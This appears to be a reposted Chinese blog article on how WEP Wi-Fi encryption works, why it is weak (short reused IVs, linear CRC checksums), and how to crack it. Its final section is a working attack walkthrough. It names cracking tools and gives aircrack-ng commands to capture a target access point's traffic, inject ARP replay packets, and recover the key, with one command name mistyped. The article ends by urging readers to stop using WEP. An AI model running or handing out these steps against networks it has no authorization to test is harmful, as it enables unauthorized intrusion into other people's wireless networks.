一、WEP原理

WEP（Wired Equivalent Privacy）叫做有線等效加密，是一種可選的鏈路層安全機制，用來提供訪問控制、數據加密和安全性檢驗等功能，是無線領域第一個安全協議。

WEP認證方式可以分為：Open system和Sharedkey：

1.采用Opensystemauthentication方式：此時WEP密鑰只做加密，即使密鑰配的不一致，用戶也是可以上線，但上線后傳輸的數據會因為密鑰不一致被接收端丟棄。

2.采用Sharedkey authentication方式：此時如果雙方密鑰不一致，客戶端就不能通過Shared key認證，無法上線。

加密過程如下：

1、先產生一個IV，將其同密鑰串接(IV在前)作為WEPSeed，采用RC4算法生成和待加密數據等長(長度為MPDU長度加上ICV的長度)的密鑰序列;

2、計算待加密的MPDU數據校驗值ICV，將其串接在MPDU之后;

3、將上述兩步的結果按位異或生成加密數據;

4、加密數據前面有四個字節，存放IV和KeyID，IV占前三個字節，KeyID在第四字節的高兩位，其余的位置0;如果使用Key-mappingKey，則KeyID為0，如果使用DefaultKey，則KeyID為密鑰索引(0-3其中之一)。加密后的輸出如下圖所示，解密過程則相反。

二、WEP的安全性問題

1、WEP協議的在數據傳輸時，用于生成密鑰流的初始向量IV是明文的方式。而該向量只有24位，這就使得在2^24個數據包后至少出現一次重復IV值，并且在實際中IV值重復的概率遠遠大于1/2^24；根據生日悖論，則五秒鐘后相同IV值出現的概率就大于0.5。

2、數據包的第一個加密字節為RC4算法產生的第一個字節和LLC頭的第一個字節（0xaa）加密（做異或操作）的結果。攻擊者利用猜的第一個明文字節和WEP幀數據負載密文進行異或運算就可得到PRNG生成的密鑰流中的第一字節。

3、假設我們知道發生初始向量碰撞的兩段密文值C1、C2，由于明文是有統計規律的語言，結合字典攻擊，就能夠以極大概率猜測到明文P1、P2的值，并可以使用明文的CRC校驗值來判斷得到的猜測值是否正確。

4、WEP的CRC校驗算法也存在攻擊缺陷，CRC檢驗和是有效數據的線性函數（針對異或操作而言，即C(x+y)=C(x) +C(y)），利用這個性質，攻擊者可篡改密文，從而導致數據的完整性更改。

5、 密碼流RC4（IV，k）可能被重復使用，而不會引起任何懷疑，借以構造這樣的消息，就可以向無線局域網注入任意的信息流，如認證信息注入攻擊。

三、破解軟件

1、WINDOWS系統軟件

WinAirCrack

WINDOWS下的破解軟件，更新很慢，支持的網卡型號少，不推薦使用，具體的破解步驟可以參考網上相關WINDOWS下破解的相關文章。

下載地址：http://www.heibai.net/download/Soft/Soft_5930.htm

2、Linux系統軟件

很大黑客工具都在Linux系統下有很好支持，破解無線網絡的Linux系統有BackTrack、wifiway等Linux LIVE CD。

BackTrack是基于Slackware和SLAX的自啟動運行光盤，它包含了一套安全及計算機取證工具。它其實是依靠融合Auditor Security Linux和WHAX（先前的Whoppix）而創建成的。其中包含AirCrack等無線網絡破解工具，當然無線網絡破解只是這個CD的一小部份功能。現在最新版本為BT5 R2。

下載地址：http://www.backtrack-linux.org/

三、破解步驟

基于以上安全性問題，我且演示在BT5環境下用aircrack系列工具進行破解。

1、激活無線網卡

ifconfig wlan0 up

2、啟動混雜模式

airomon-ng start wlan0

3、抓取數據包

airodump-ng -w "filename" --bssid "AP Mac地址" mon0

注意：“ ”不用輸入

4、arp注入攻擊

aireplay-ng -3 -b "AP Mac地址" -h "wifi Mac地址" -x 1000 mon0

5、密碼破解

aircrack-ng -x -f 2 "第3步住區的數據包文件名"

注意：文件名為 .cap后綴

綜上所述，如果你還在用WEP進行無線加密，趕緊換了吧！

總結

以上是生活随笔為你收集整理的WIFI破解原理(WEP)的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。